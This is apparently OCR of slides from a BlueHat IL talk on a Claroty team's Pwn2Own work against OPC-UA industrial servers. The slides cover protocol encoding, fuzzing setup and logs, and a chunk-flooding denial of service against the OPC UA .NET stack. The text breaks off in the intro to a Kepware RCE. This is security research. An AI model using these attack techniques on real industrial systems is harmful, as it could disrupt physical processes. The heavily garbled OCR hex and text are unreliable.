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e Hacking competition by ZDI
to exploit widely used
software and products

e Theme - Industrial Control

, Systems with heavy focus on
- OPC-UA Protocol
Exploitation
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Control Servers
OPC UA Servers
Gateways

nterface (

Engineering Workstation

luman Machine
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Demeo Server

Remote Code Execution $20,000 20
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Control Servers
OPC UA Servers *™=Attack Vector
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Data Gateway

Denial-of-Service 35,000
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what is opc-ua?

OPC-UA (Open Platform Communications - Unified Architecture) is a protocol designed

for secure and reliable data exchange between industrial automation systems and

-
=5

enterprise IT systems. It is a widely accepted standard for industrial communication and g
enables interoperability between different devices and software platforms in the industrial

¢

automation domain.

OPC-UA provides a platform-independent, service-oriented architecture that supports
multiple transport protocols, including TCP/IP, HTTP, and HTTPS. It offers advanced

security features, such as authentication, encryption, and access control, to protect



are you for real? explain me like i'm 5

Yes, I'm real, but I'm a computer program designed to help answer questions!

OPC-UA is a special way that computers can talk to each other. It's like when you learna |

new language so you can talk to people who live in a different country. But instead of
people, these computers are talking to each other.

OPC-UA helps different computers understand each other even if they speak different
languages. This is very important because many different types of computers and
machines are used in factories, buildings, and other places, and they all need to talk to
each other so evervthina works toaether smoothlv.
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e Protocol for data exchange between industrial
automation systems and enterprise IT systems
e Enables interoperability and smooth integration

between industrial systems
e TL;DR - popular protocol in industrial networks to send

data. For example - measure water level in a tank
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Actuators
Fill Valve
Discharge
Valve

Sensors
Flow Meter
Level Meter
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Actuators
Fill Valve
Discharge

Valve

Sensors
Flow Meter
Level Meter
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Simple PLC Logic
1.Open Fill Valve
2.If @ el

a. Close Fill Valve
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- Denial of Service ‘
- Information Leak
- Remote Code Execution
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OK, But How the
Protocol Works?




Reading the OPC-UA
Bible (specifications)



O PC 2 UA S peCIfl Catl O n S OPC 10000-1: UA Part 1: Overview and Concepts

OPC 10000-2: UA Part 2: Security

OPC 10000-3: UA Part 3: Address Space Model

OPC 10000-4: UA Part 4: Services

OPC 10000-5: UA Part 5: Information Maodel

OPC 10000-6: UA Part 6: Mappings

OPC 10000-7: UA Part 7: Profiles

OPC 10000-8: UA Part 8: DataAccess

OPC 10000-9: UA Part 9: Alarms and Conditions

BlueHat IL


https://reference.opcfoundation.org/

OPC-UA Crash
Course




OPC-UA Information Model

Namespace 0
(default)

Address

Space

Namespace 1




. Unified Automation UaExpert - The OPC Unified Architecture Client
File View Server Document Settings Help

OPC-UA Browse DPBBO ¢ =5 X423

_ & X Data Access View
v ﬂ Project
v M Servers
"2 Quickstart Reference Server
'2) SimulationServer@DESKTOP-
v [ Documents
@ Data Access View

> |2 Objects
v 12 Types
> |2 DataTypes
v L) EventTypes
> ‘ BaseEventType
> |2 InterfaceTypes
> | ObjectTypes
> |2 ReferenceTypes




OPC-UA Encoding

5.1.2 Built-in Types (2] [«] [

All OPC UA DataEncodings are based on rules that are defined for a standard set of built-in
types. These built-in types are then used to construct structures, arrays and Messages. The
built-in types are described in Table 1.

Table 1 - Built-in Data Types

ID Name Description

Boolean A two-state logical value (true or false).

SByte An integer value between -128 and 127 inclusive.

Byte An integer value between 0 and 255 inclusive.
Int16 An integer value between -32 768 and 32 767 inclusive.
Uint16 An integer value between 0 and 65 535 inclusive.

Int32 An integer value between -2 147 483 648 and 2 147 483 647
inclusive.

BlueHat IL



OPC-UA Encoding

5.2.2.4 String
All String values are encoded as a sequence of UTF-8 characters without a null terminator

and preceded by the length in bytes.

The length in bytes is encoded as Int32. A value of -1 is used to indicate a ‘null’ string.

Figure 4 illustrates how the multilingual string “7kBoy” should be encoded in a byte stream.

Length 7

o fo]y]
06 [0 o000 |6 Bo[ e )42 |er | 7]
0 1 2 3 4 5 6 T 8 9

10

Figure 4 - Encoding Strings in a binary stream
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Table 9 - Four Byte Nodeld Binary DataEncoding

Name Description

Namespace The Namespace shall be in the range 0 to 255.

Identifier The Identifier Type is ‘Numeric’.

The Identifier shall be an integer in the range 0 to 65 535.

An example of a Four Byte Nodeld with Namespace = 5 and Identifier = 1 025 is shown in Figure 9.

Namespace

Encoding Byte \\ f/

|dentifier

01

05

01

40

0

1

2

3

4

Figure 9 - A Four Byte Nodeld




Table 9 - Four Byte Nodeld Binary DataEncoding

Name Description S o ECificaitOnS

Mamespace Byte The Namespace shall be in the range 0 to 255.

Identifier Uint16 The Identifier Type is ‘Numeric’
The Identifier shall be an integer in the range 0 to 65 535.

BlueHat IL



Name

Mamespace

Identifier

0vo8e

66
41
23
00
d9
00
00

6f
2f
4e
01
d7
00
00

75
53
6f
00
01
00
01

64
63
65
00
00
00
00

Data Type

Byte

Uint16

61
75
ff
01
oY
00
00

74
12
ff

00

719
00
00

69
69
ff
be
1Y)
00
ed

6f
74
ff
01
oY
00
93

be
79
ff
00
00
00
04

2e
50
ff
00
00
00
00

6f
6f
ff
4a
ff
00

Table 9 - Four Byte Nodeld Binary DataEncoding

vecificaitons

Description

The Namespace shall be in the range 0 to 255.

The Identifier Type is ‘Numeric’

The Identifier shall be an integer in the range 0 to 65 535.

72 67 2f 55 foundati 63;6}é?;

6c 69 63 79 A/Securi tyPoliD

ff 33 90 90 #None 3B|nal‘y

58 9a f2 61 . . JX .

ff ff ff 00 Representatlon
00 00 01 00




Table 9 - Four Byte Nodeld Binary DataEncoding

Name Data Type Description S o ECificaitOnS

Mamespace Byte The Namespace shall be in the range 0 to 255.

|dentifier Ulnt16 The Identifier Type is 'Numeric’
The Identifier shall be an integer in the range 0 to 65 535.

61 74 69 6f 6e 2e 6f 72 67 2f 55 foundati on.org™
75 72 69 74 79 50 6f 6¢c 69 63 79 A/Securi tyPohBlnary

ff . ff ff ff ff 33 00 00 #None--- - - - A
0100 — 01/00 00 4a 58 9a f2 61 - - -
¢ U0 oe 00 ff ff ff fF 00 -« cvoovv wovnnn Re C resentatlon
00 00 00 00 00 00 00 00 00 01 @0 - - - - - - AT

00 00 e® 93 04 00 2

v Heésage : Encodeable Object
v Typeld : ExpandedNodeld SRR
NodeId EncodingMask: Four byte encoded Numeric (©0x@1)
NodeId Namespace Index: @ = Blnar PraSng
NodeId Identifier Numeric: OpenSecureChannelRequest (446 )
v OpenSecureChannelRequest
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OPC-UA Protocol

HEL \
N

HEL Response \
Create Secure Channel >

OPN | /

OPN Response /

MSG: CreateSession
CreateSession Response

Create Session

MSG: ActivateSession
ActivateSession Response

MSG: Browse

Browse Response

CreateSubscription Response

MSG: MonitoredlitemsCreate
MonitoredltemsCreate Response

MSG: CreateSubscription




OPC-UA Protocol

HEL \
N

HEL Response \
Create Secure Channel >

OPN | /

OPN Response /

MSG: CreateSession
CreateSession Response

Create Session

MSG: ActivateSession
ActivateSession Response

MSG: Browse

Browse Response

CreateSubscription Response

MSG: MonitoredlitemsCreate
MonitoredltemsCreate Response

MSG: CreateSubscription




Read Request

16:17:34.725702 47 18.10.6.181 10.10.7.10 Ocl.la UA Secure Conversation Hessae: ReadRequest
16:17:34.729583 49 10.10.7.10 10.10.6.181 OpcUa UA Secure Conversation Message: ReadResponse

Security Sequence Number: 54 0000 80 Oc 29 94 2d b3 @0 @c 6c 0a ef 83 08 00 45 00 - -) - —--- L----- E-
Security RequestId: 4 0010 01 fe 00 00 40 00 40 06 17 28 @a @a @6 b5 Ga @a ----@@ -(------

v Opcla Service : Encodeable Object 0020 07 0a c1 20 13 21 e9 c2 24 Te c1 fb 04 30 50 18 -« -1-- $~---@P-
v Typeld : ExpandedNodeId 0030 10 00 23 c3 00 00 4d 53 47 46 d6 01 0@ 00 df 10 - -# - -MS GF------

NodeId EncodingMask: Four byte encoded Numeric (@x01) 0040 27 00 01 00 00 90 36 00 00 00 04 00 00 00 01 00 - --- 6 e
0B50 77 02 05 00 00 20 00 00 00 cc cf da 8f B8f b3 47 w---- - ceeeee G

NodeId Namespace Index: @

. 0060 ec eb 2d @8 7f 42 f7 el de 43 45 6a ee d9 c0 1d --—--B-- NCEj-
Nodeld Identifier Numeric: ReadRequest (631) 9070 54 9d 25 8f 54 75 72 81 1a 7e 60 2d 59 62 d9 d7 T-%-Tur- -~ -Yb--
v ReadRequest 0080 @1 43 42 Of 00 00 00 00 00 ff ff ff ff 88 13 00  -CB----- --------
» RequestHeader: RequestHeader 0090 0 00 90 90 00 00 00 00 00 00 00 00 03 00 00 @0 - coce-c-
MaxAge: @ 0020 14 00 00 00 01 @0 cf @8 @d 00 0@ 8@ ff ff ff ff =-:rvreve woveenen
TimestampsToReturn: Neither (0x00000003) @ebe 00 @@ ff ff ff ff @1 00 b6 2d @d 00 00 00 ff ff --vrrvve cmnnnnnn
v NodesToRead: Array of ReadValueld *— ooce ff ff 0@ @0 ff ff ff ff 01 00 af 0a 0d 00 00 00  -------- --vvvve
ArraySize: 20 oede ff ff ff ff 00 00 ff ff ff ff 01 00 6f 32 0d 00 -------- ---- 02--
v [0]: ReadValueId poed @@ 0@ ff ff ff ff 00 0@ ff ff ff ff @1 00 bl @2  ---r-vex =vennnnn
» NodeId: NodeId 00f0 ©d 00 00 00 ff ff ff ff 00 00 ff ff ff ff 01 00 - +--rvvv covennes

0100 be 06a od @0 0@ ee ff ff ff ff @@ ee ff ff ff ff ----c0vv vvvvnnns

Attributeldy Value (x0000000d) ° 0110 01 00 b7 2d Od 00 00 00 T ff ff ff 00 00 ff ff  +remrvve wovenens
IndexRange: [OpcUa Null String] 0120 ff ff 01 00 € 08 0d 00 00 00 Tf Tf ff Ff 80 00 ++rrrovv oveeess

» DataEncoding: QualifiedName 130 ff ff fF ff 01 08 c2 2d Od 00 00 @@ Tf ff ff ff +r:veeem sansnnss

» [1]: ReadValueld 0140 @0 0@ ff ff ff ff 01 00 be 2d 0d 00 @0 @0 Tf ff «+vvrvvs cmnennnn
» [2]: ReadValueId 0158 ff ff 00 @0 ff ff ff ff O1 00 85 2f Od 00 00 00 - ------- --- VEEEE
» [3]: ReadValueld e16e ff ff ff ff @@ e@ ff ff ff ff 01 00 86 2f @d @@  ----r=vv «-v-- /e
» [4]: ReadValueId 0170 00 00 ff ff ff ff 00 00 ff ff ff ff 01 00 87 2f  vvvrvvs ouvennn /
» [5]: ReadValueId 0186 ed 0@ 0@ @e ff ff ff ff 00 00 ff ff ff ff 01 00 ------- DIEEEERREE
» [6]: ReadValueld 1986 88 2f od 00 00 ee ff ff ff ff 00 @0 ff ff ff ff /- +-vee cvvnnnnn
> [7]: Readvalueld 0120 01 00 bd 2d @d 00 00 0@ ff Tf ff ff 00 00 ff ff -remrees ovennnn
: 01be ff ff 81 80 c1 2d 0d 00 00 00 ff ff ff ff 00 @0 - ----—vv «vvunes

» [8]: ReadValueld 01co ff ff ff ff 01 00 b9 2d Od 00 00 @0 ff ff ff Ff -+rrroom coveeens
» [9]: ReadValueld 01d0 00 00 ff ff ff ff 01 0@ bf 2d 0d 00 00 0@ TF ff reerees smvennss
» [10]: ReadValueld 0led ff ff 00 @0 ff ff ff ff 01 00 cO 2d @d @0 @0 @0  --:-r=vx «romrves

FM41: Da=di/i=TaTAd 'R} e £ EF£4FE £ AN DD £ £ E T £ 01 OO BE 99 OA OO L 0 L L oo S






Back to Pwn20wn



Ind O-

~2 months to f
days on ~10 products

- So what's the plan?
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Setup for all targets

Get the know the target + Underlying OPC-UA Protocol Stacks
Build client framework for pwnage

Build fuzzers

- Network based

- Memory/Coverage based

- Closed binary based

Read the specifications again - find weak spots and a lot of
reverse engineering

Find vulnerabilities - Pwn
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Setup all Targets

(=1 localhost.tB2.co - Virtual Machines

0 Create / Register VM | = 2 oweron [l Power off Suspend | (@ Refresh

Virtual machine ~  Status Used space

51 Win10-x64-01-Softing OPC UA Secure Integration Server ... 0 Mormal 80 GB
51 Win10-x64-02-Prosys - OPC UA SDK for Java 0 Maormal &0 GB
51 Win10-x64-03-0PC Foundation-OPC UA .NET Standard 0 Maormal a0 GB
£ Win10-x64-05-Kepware-KEPServerEx & Normal 54.08 GB
£f# Win10-x64- Unified Automation UaGateway & Normal 54.08 GB

@ Win10-x64-06-Inductive Automation Ignition 0 Mormal 54.08 GB

AR NN

AN

r —




UA Automation OPC Foundation Prosys OPC UA SDK || Softing Integration KEPServerEx '
3 C++ Server OPC UA .NET for JAVA Server

51
]

Proprietary

IC.

S _ing —

1 1 1

Proprietary Proprietary Proprietary

FOUNDATION
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We wrote our own OPC- =
"encoding_mask" J BitStruct(

UA client from scratch & ras._nanesace.urs* | Fus,

"has_server_index" J Flag,

- Now it's easy control na | Aa,

"unk2" J Flag,

eve ry a S p e Ct Of th e : . "arbitrary_length" J Nibble
110 "identifier_numeric" / Switch(this.encoding_mask.arbitrary_length,
p rOtOCO | ___ ONLY_ITEH,

- Developed recipes for &

: SIZE_LENGTH,

different attacks el

! 120 A ki LIRS
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i sarasse. LERL

VS %
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- Wrote custom fuzzers
- Network based - using
boofuzz
- Memory/Coverage based -
using AFL, libfuzzer
- Closed binary - using WinAFL,
UnicornAFL (CPU Emulator)
- Monitored everything using Slack

& research_team82_status Z v

b 9 e

o ——

research team82 status APP 12.04
4 OPC UADONET

screen -




9,335] Receiving.

- We have 6 OPCUA targets.
- We want the low ha nging | } seing Jo b
fruits.

[2022-12-19 @3:24: 3 Info: Receiving...
[2822-12-19 @3:
125:83,554] Info: Sending 134 bytes...
©3:25:93,554] Info: Target connection reset.
- FUzz V
9 83:25:83,554]
[2822-12-19 125:83,554] : Sending 95 bytes...
° [2022- 83:25:083,570]
©3:25:93,578] C k OK: No ash detected.
S e a ra e I S a r a n n O ©3:25:03,570] Closing target connection...
©3:25:03,570] Connection closed.
[2822-12-19 @3:25:83,578] Test Case: 7785: browse next_request:[brows ext_request.opcua_service.browse next_request.re

quest_header.audit_enty_id 9Sbebe24-4d53-414d-8a24-22bbdobboesf.randomized string:@, browse_next request.opcua_service.b
rowse_next_request.continuation_points.continuation_point_ee?5639b-f524-4145-b155-87296d4cd9@a.randomized bytes:6, brows|

.
= e_next_request.opcua_service.browse_next_request.request_header.additional_header.body.body_item_f24@e5f9-5577-444e-b57§
-e276a@276a2b. randomi 19
» [2022-12-19 @3:25:

: Type: RandomData

[2@22-12 @3:25: Opening target connection (127.9.€.1:62541)...

[2@22-12-19 ©3:25:05,632] Cannot connect to target; retrying. Note: This likely indicates a failure caused by

‘the previous test case, or a target that is slow to restart.

122 12-19 83:25:85,632]
©3:25:085,632] Info: Restarting target process using CallbackMonitor
’ 12-19 83:25:
@3:25: Info: Closing target connection...
@3:25: Info: Connection closed.
ZZ @3:25: Info: Mo reset handler available... sleeping for 5 seconds g -
u e r ! @83:25:: Info: Opening target connection (127.8.8.1:62541)... ACtIVﬂtQ Wlndo?ws B

@3:25: Info: Unable to reconnect to target: Reached threshold of 1 retAi@iQ Saibings ta.achvate Winddg




Pros

- No source code/ compilation needed
- No harness need to be added
- Platform agnostic

Cons
- Not a feedback based fuzzing

- Needs implementation of the rules for

g

mutation

- Much slower than memory fuzzer
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- We used libFuzzer
to fuzz the ANSI C
OPCUA stack
- We created large
amount of
- corpuses that coul
_. be used later in the
& research

99999989889

999999999898939

22707 user
22641 user
22463 user
22560 user
22455 user
22569 user
22593 user
22699 user
22479 user
TR

2888888

]
1
2]
]
]
2 )
]
]
2

[CRTRERTRTRTRTE

919 com/timeout/crash: 8/0/0 time:

703 com/timeout/crash: @/0/0 time

952 com/timeout/crash:
754 com/timeout/crash:
615 oom/timeout/crash:
460 oom/timeout/crash:
897 oom/timeout/crash:
795 com/timeout/crash:
1031 com/timeout/crash:
848 com/timeout/crash:
679 oom/timeout/crash:
596 oom/timeout/crash:
745 oom/timeout/crash:
670 com/timeout/crash:
815 oom/timeout/crash:
776 oom/timeout/crash:
862 oom/timeout/crash:
694 oom/t{meout/crash:
758 oom/timeout/crash:
657 oom/timeout/crash:
862 oom/timeout/crash:
557 oom/timeout/crash:
734 oom/timeout/crash:

bwemNWwNw~ ol

e/e/0

time:

161065 job: 2265 dft_time: @

16113s job: 2266 dft_time: @
16119s job: 2267 dft_time: @
16127s job: 2268 dft_time: @
16134s job: 2269 dft_time: @

: 1614@s job: 2270 dft_time:
: 161485 job: 2271 dft_time
: 161555 job: 2272 dft_t
: 16161s job: 2273 dft_ti
: 16169s job: 2274 dft_time:
16175s job: 2275 dft_time:

0/0/0 time: 16182s

e/e/m
/00
@/0/0
0/0/9
e/e/e
0/e/0
/00
0/0/0
/e
a/e/0
e/e/0
/070
e/e/e

time:
time:
time:
time:
time:
time:
time:
time:
time:
time:
time:
time:
time:
time:

/bin/AnsiCServer
./bin/AnsiCServer
./oin/AnsiCServer
./bin/AnsiCServer
/bin/AnsiCServer
./bin/AnsiCServer
-/bin/AnsiCServer
./bin/AnsiCServer
./oin/AnsiCServer
/bin/AnsiCServer

s o2

relood=0
-reload=9
~reload=0
~reload-0
~reload=@
~reload-@
-reload-@
~reload-9
-relocd-9
-reload=0

16199s job: 2277 dft_time:
16196s job: 2278 dft_time:
16204s job: 2279 dft_time:
16210s job: 2280 dft_time:
162185 job: 2281 dft_time:
16229s job: 2282 dft_time:
16236s job: 2283 dft_time:
162445 job: 2284 dft_time:
16251s job: 2285 dft_time:
16260s job: 2286 dft_time:
16268s job:
162755 job:
162855 job:
162925 job: 2290 dft_time:

job: 2276 dft_time:

rint_final_stats=1
-print_final_stats=1
-print_final_stats=1
-print_final_statse1
~print_final_stats=1
-print_final_stats«1
-print_final_statsel
-print_final_statsel
-print_final_stats«1
-print_final_stats=1

-print_funcs=9
-print_funcs=@
-print_funcs-0
-print_funcs-@
-print_funcs-9
-print_funcs-®
=print_funcs-®
-print_funcs-0

-max_total_time=300
-max_total _t{me=300
-max_total_time=300
~max_total _time=300
-max_total_time-300
-max_total _time-300
~max_total_time-300
=max_total _time=300
-max_total_time=300

e e e e ) e e

file=/tmp/1ibFuzzerTemp.3974

-stop_file=/tmp/1ibFuzzerTemp.3974.
~stop_file=/tmp/1ibFuzzerTenp.3974.
-stop_file=/tmp/1{bFuzzerTemp.3974.
~-stop_file=/tmp/1ibFuzzerTemp.3974.
-stop_file~/tmp/1ibFuzzerTenp.3974.
-stop_file«/tmp/1ibFuzzerTemp.3974.
-stop_file=/tmp/1{bFuzzerTemp.3974.
-stop_file=/tmp/1{bFuzzerTenp.3974.
-stop_file=/tmp/1ibFuzzerTenp.3974.

dir/STOP
dir/STOP
dir/STOP
dir/STOP
dir/STOP
dir/STOP
dir/STOP
dir/STOP
dir/STOP
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File Options View Process

B CT e X

Process
[w | svchost exe
[#7svchost exe
¥ ' svchost exe
¥ server_runtime exe
lsass exe
3 fontdrvhost exe
# ' Cy9s exe
) & wmlogon exe
+ py Eoploter exe
“alserver admin exe

Find Users

)

Help

C—

e g

CPU  Prvate Bytes |  Working Set

0.0
<001

149 K 6A4%K
1956 K 6.9% K
2516 K 7768 K
44203K

38328K

4056K

5884 K

12,660 K

305,108 K

30.652K

A, |
PID | Description

4180 Host Process for Windows S
1276 Host Process for Windows S
8204
5260 Server - Rurtime
700 Local Secunty Authorty Proc
836 Usermode Font Driver Host
636 Windows Log-on Appication
5956 Windows Explorer
5472 Server - Administration

CPU Usage: 98,50% Commit Charge: 30.42% Processes: 149 Physical Usage: 38.90%

¥ server_runtime

Image
GPU Graph

exe:5260 Properties

Performance

[[] Rescive addresses

P.. Local Address

TCP 10.10.7.21

TCP 1270013

Remocte Address  State

Performance Graph
Threads PP Security

<Fiter by nome>

Company Name

Microsoft Comoration
Microsoft Comoration

PTC Inc.
Mcrosoft Comporation
Microsoft Corporation

Microsoft Comporation

PTCInc

O

Disk and Networ
Environment Stri

LISTENING
LISTENING

TCP 127

0.14

LISTENING

TCP
TCP
TCP
TCP
Tce
TCP
ce
TCP

NN R RN RS

127.0
1270
1270

ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTAB
ESTAB
ESTAB
ESTAB
ESTABLISHED

Canc



N N utun port 49321)
A A m AR FRe2EFT SN E QAqQAaE

e AR AN PP D
3 Time | Source Destination | Protocol Length Info
89.775897 10.51.0.29 10.10.6.32 OpcUa 103 Hello message
89.802691 10.10.6.32 10.51.0.29 Opcla 72 Acknowledge message
89.804627 10.51.0.29 10.10.6.32 Opcla OpenSecureChannel message: OpenSecureChannelRequest
89.823929 10.10.6.32 10.51.0.29 OpcUa 179 OpenSecureChannel message: OpenSecureChannelResponse
89.825480 10.51.0.29 10.10.6.32 OpcUa UA Secure Conversation Message: CreateSessionRequest
89.881227 10.10.6.32 10.51.0.29 OpcUa 280 UA Secure Conversation Message: CreateSessionResponse
89.882978 10.51.0.29 10.10.6.32 OpcUa UA Secure Conversation Message: ActivateSessionRequest
89.903857 10.10.6.32 10.51.0.29 Opcla UA Secure Conversation Message: ActivateSessionResponse
89.904146 10.51.0.29 10.10.6.32 OpcUa UA Secure Conversation Message: BrowseNextRequest

a

-
» Frame 93: 131 bytes on wire (1048 bits), 131 bytes captured (1048 bits) on interfas
» Null/Loopback
» Internet Protocol Version 4, Src: 10.51.0.29, Dst: 10.10.6.32
» Transmission Control Protocol, Src Port: 54083, Dst Port: 49321, Seq: 641, Ack: 91 2040
v
Message Type: MSG
Chunk Type: F
Message Size: 87
SecureChannelld: 3833522403
Security Token Id: 1
Security Sequence Number: 54
Security Requestld: 4
v
» Typeld : ExpandedNodeId
v RequestHeader: RequestHeader
¥ AuthenticationToken: Nodeld
vess 9010 = EncodingMask: Numeric of arbitrary length (@x2)
Namespace Index: @
Identifier Numeric: 4232399169
Timestamp: Nov 3, 2021 13:19:19.812365400 IST
RequestHandle: 3
Return Diagnostics: 9x00000000
AuditEntryld: opcua
TimeoutHint: @
» AdditionalHeader: ExtensionObject
ReleaseContinuationPoints: True

44 ContinuationPoints: Array of ByteString

ArraySize: 1258291200

*  Packets: 96 - Displayed: 9 (9.4%) - Dropped: 0 (0.0%) - Ln 0 Proc 0004244 Thed 01




- We returned to the specification and checked for
esoteric features

- What could be badly implemented?

- Intensive RE to verify how it was implemented in each
product

»
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Denial of Service

- Uncaught exceptions

- Busy loops

- Threads deadlock

- Bad/uncontrolled memory management
- UAF

:
3
~:‘.;
1




Universal DoS - Chunk Flooding

6.7.2.2 Message Header +

Every MessageChunk has a Message header with the fields defined in Table 41.

Table 41 - OPC UA Secure Conversation Message header

MessageType

IsFinal

SecureChannelld

Data
Type

Description

Athree byte ASCII code that identifies the Message type.
The following values are defined at this time:
Byte[3]  MSG A Message secured with the keys associated with a channel.
OPN OpenSecureChannel Message.
CLO CloseSecureChannel Message.

Aone byte ASCII code that indicates whether the MessageChunk is the final chunk in a Messag
The following values are defined at this time:
R
Byte F The final chunk.
AThe final chunk (used when an error occurred and the Message is aborted).
This field is only meaningful for MessageType of ‘MSG’
This field is always ‘F’ for other MessageTypes.

The length of the MessageChunk, in bytes.
The length starts from the beginning of the MessageType field.

A unique identifier for the SecureChannel assigned by the Server.
If a Server receives a SecureChannelld which it does not recognize it shall return an appropria
— transport layer error.
When a Server starts the first SecureChannelld used should be a value that is likely to be uniq
after each restart. This ensures that a Server restart does not cause previously connected Clie

accidently ‘reuse’ SecureChannels that did not belong to them.




ild: 10:41.483454 10.19.0.32 10.10.0. 143 upens>ecureChannel message: Upen>ecurelnannelrResponse

18:16:41.485235 10.10.6.123 10.10.6.32 UA Secure Conversation Message: CreateSessionRequest
. 18:16:41.490598 10.10.6.32 10.10.6.123 UA Secure Conversation Message (Message fragment 904)
18:16:41.491669 10.10.6.32 10.10.6.123 UA Secure Conversation Message (Message fragment 905) [TCP segmen..
18:16:41.491722 10.10.6.32 10.10.6.123 UA Secure Conversation Message (Message fragment 906) [TCP segmen..
» Frame 11: 268 bytes on wire (2144 bits), 268 bytes captured (2144 bits) 0000 4d 53 [47 43 5a 1d 00 00 22 00 gﬁ 00 01 00 Og 00  MSGCZ- - - "....é.ﬁ
» Ethernet II, Src: VMware_86:b5:9f (00:50:56:86:b5:9f), Dst: Eve_@a:c6:56 (¢ 2710 88 03 00 00 02 00 00 00 01 00 do 01 10 32 9d 55  «+-:reve wrvee ;
2 S ) ( . )s 57 : 0020 bc df d7 01 41 42 of 00 00 00 00 00 00 ff ff ff «+-«AB++ +rvveers
» Internet Protocol Version 4, Src: 10.10.6.32, Dst: 10.10.6.123 0030 ff 00 00 00 04 01 00 18 58 3d bc bd b4 46 4e ae  ++e-+s-- X=- -« +FN-
» Transmission Control Protocol, Src Port: 52520, Dst Port: 62693, Seq: 7464, 0040 d0 e8 e4 cb 60 a7 23 05 00 00 20 00 00 00 6d 49 vana Dl e il
» [6 Reassembled TCP Segments (7514 bytes): #6(1460), #7(1460), #8(1460), #9(1 0050 67 cf cf 6¢c 4b 3d 55 66 ea 73 34 92 f3 @e 5b 2d g--1K=Uf -s4---[-
v OpcUa Binary Protocol 0060 e8 Oc 1a a0 ed e3 9e 1c 27 09 1b 3f a4 bc 00 00 -+ v - R SO
[Reassembled in: 27 0070 00 00 00 9 15 41 20 00 00 00 e4 Qe 96 dc 1b 42  -:--: A ¢ ceecens J
% 0080 33 51 4f ea a7 a7 84 ab 6¢ f1l 1c 5f 1c 69 66 b4 3Q0:---- 1e._-if-
HessRgelyReA o 9090 53 ¢5 22 5c 3c 71 37 66 ©6 9a e2 03 00 00 30 82 S-"\<q7f :----- 0-
Chunk Type: C 0020 03 de 30 82 02 c6 a@ @3 02 01 02 02 06 01 7d 47  :@:ccc- ceceee }6
Message Size: 7514 pobo @5 10 cO 30 0d 06 09 2a 86 48 86 f7 0d 01 @1 @b -+ -@:- %k +Hevvv:-
SecureChannelld: 34 00ch 05 00 30 4c 31 2c 30 2a 06 03 55 04 03 Oc 23 53 ++@QL1,0% --U---#S
Security Token Id: 1 0ede 61 6d 70 6¢ 65 43 6f 6e 73 6f 6¢c 65 53 65 72 76 ampleCon soleServ

: . 00e0 65 72 40 44 45 53 4b 54 4f 50 2d 44 44 50 42 51 er@DESKT OP-DDPBQ
Security Sequence Number: 904 9079 51 4a 31 1c 30 1a @6 03 55 04 @a Oc 13 53 61 6d QJ1:0--+ U----Sam
Security RequestId: 2 0100 70 6¢ 65 20 4f 72 67 61 6e 69 73 61 74 69 6f 6e ple Orga nisation
9110 30 1le 17 0d 32 31 31 31 32 32 30 38 34 30 35 34 0---2111 22084054
9120 5a 17 od 33 31 31 31 32 30 30 39 34 30 35 34 5a 2--31112 00940542
2130 30 4c 31 2c 30 2a 06 03 55 04 03 Oc 23 53 61 6d OL1,@%:: U---#Sam
0140 70 6¢ 65 43 6f 6e 73 6f 6¢C 65 53 65 72 76 65 72 pleConso leServer
0150 40 44 45 53 4b 54 4f 50 2d 44 44 50 42 51 51 4a @DESKTOP -DDPBQQJ
9160 31 1c 30 1a @6 03 55 04 ©0a Oc 13 53 61 6d 70 6c 1:0---U- ---Sampl
0170 65 20 4f 72 67 61 6e 69 73 61 74 69 6T 6e 30 82 e Organi sation@-:
0180 01 22 30 0d 96 99 2a 86 48 86 f7 0d 01 01 01 05  -"@-- %+ Hevvv---




/1] = >
/// Processes a request message.

As long as the server ¥ >
: { bool ProcessRequestMessage(uint messageType, ArraySegment<byte> messagefhunki}
did not receive the {

Final chunk (F) it will

keep on CO”eCtlng ¢ Iy -:::heck for an abort. { -
T Type.IsAbort T W
th@ChUﬂk& - cpMessageType.IsAbort(messageType .

Utils.Trace("Request was aborted.");
chunksToProcess - GetSavedChunks(requestId, messageBody);

Without any } true;
‘ Ilmltatlon (nO Count // check if it is necessary to wait for more chunks.

4 ( ' TcpMessageType.IsFinal(messageType))
2 { -
t{theCk on the number SaveIntermediateChunk{requestId, messageBody); OPC UA

of received chunks)! fru NET Stack :

,’ o ERAR -
L $

=4



- - So what happens it we will send many chunks
. without the Final flag?
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SUCCESS - The Claroty Research (([@claroty) team of Noam Moshe, Vera Mens, Amir
Preminger, Uri Katz, and Sharon Brizinov used a resource exhaustion bug to perform a DoS

on the OPC Foundation OPC UA .NET Standard. They earn $5,000 and 5 Master of Pwn
points.

BlueHat IL
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PTC Kepware RCE

Mamespacelndex
IdentifierType
Identifier
ModeClass
BrowseMame
DisplayMame
Description
~ Value
SourceTimestamp
SourcePicoseconds
serverTimestamp
Serverficoseconds
StatusCode
Value
* DataType

Value
ns= 3= 1004
3

Mumernc
1008

Variable /
3, "TANE_ID"

=, "TARME_ID"

TANK_ID Tag

31972023 11:16:07.071 AM

0 TANK_ID Value

31972023 11:16:07.074
0

Good (O
TOPFLOOR_13
String

Security Token Id: 2
security Sequence Number: 4892
Security RequestId: 4892 Readlwrite Valu
OpcUa Service : Encodeable Object
» Typeld : ExpandedNodeld
¥ WriteRequest
> RequestHeader: RequestHeader
¥ NodesTowrite: Array of WriteValue
ArraySize: 1
¥ [8]: Writevalue
* Nodeld: Nodeld
AttributeId: Value (@x8@fa@ead)
IndexRange: [OpcUa Null String)
“ Walue: DataValue
» EncodingMask: s has value
¥ Value: Variant
Variant Typg: String (Bxec)
String: TOPFLOOR 13

IL




PTC Kepware RCE - Intro

one four 8-bit

Code point «+ UTF-8 conversion

it ot pon st o b cose po
o )
ooy e

U

+07FF | 110xxxx= | 10xx¥xxX 1920
U+FFFF | 1110xxxx 10XXXXKX lalg1440
U+10000 ElU+10FFFF | 11110xxx | 10xxxxXX 1048576

BlueHat IL



PTC Kepware RCE - Intro

Recipe

Encode text

Encoding

UTF-8 (65001)

To Hex O 1l

Output
Delimiter Bytes per line

Space 0 41 41 41

BlueHat IL



PTC Kepware RCE - Intro

Recipe

Encode text

Encoding

UTF-8 (65001)

To Hex S 1

X

Output -
Delimiter Bytes per line

Space 0 f@ 93 83 94

BlueHat IL



- | UTF-16 is a character encoding capable of encoding all 1,112,064 valid code points of
~ | Unicode. The encoding is variable-length, as code points are encoded with or
code units.
: Wikipedia




PTC Kepware RCE - Intro

Recipe

Encode text
Encoding
UTF-16LE (1200)

To Hex

Delimiter Bytes per line Output

Space 0
41 00

BlueHat IL



PTC Kepware RCE - Intro

Recipe

Encode text
Encoding
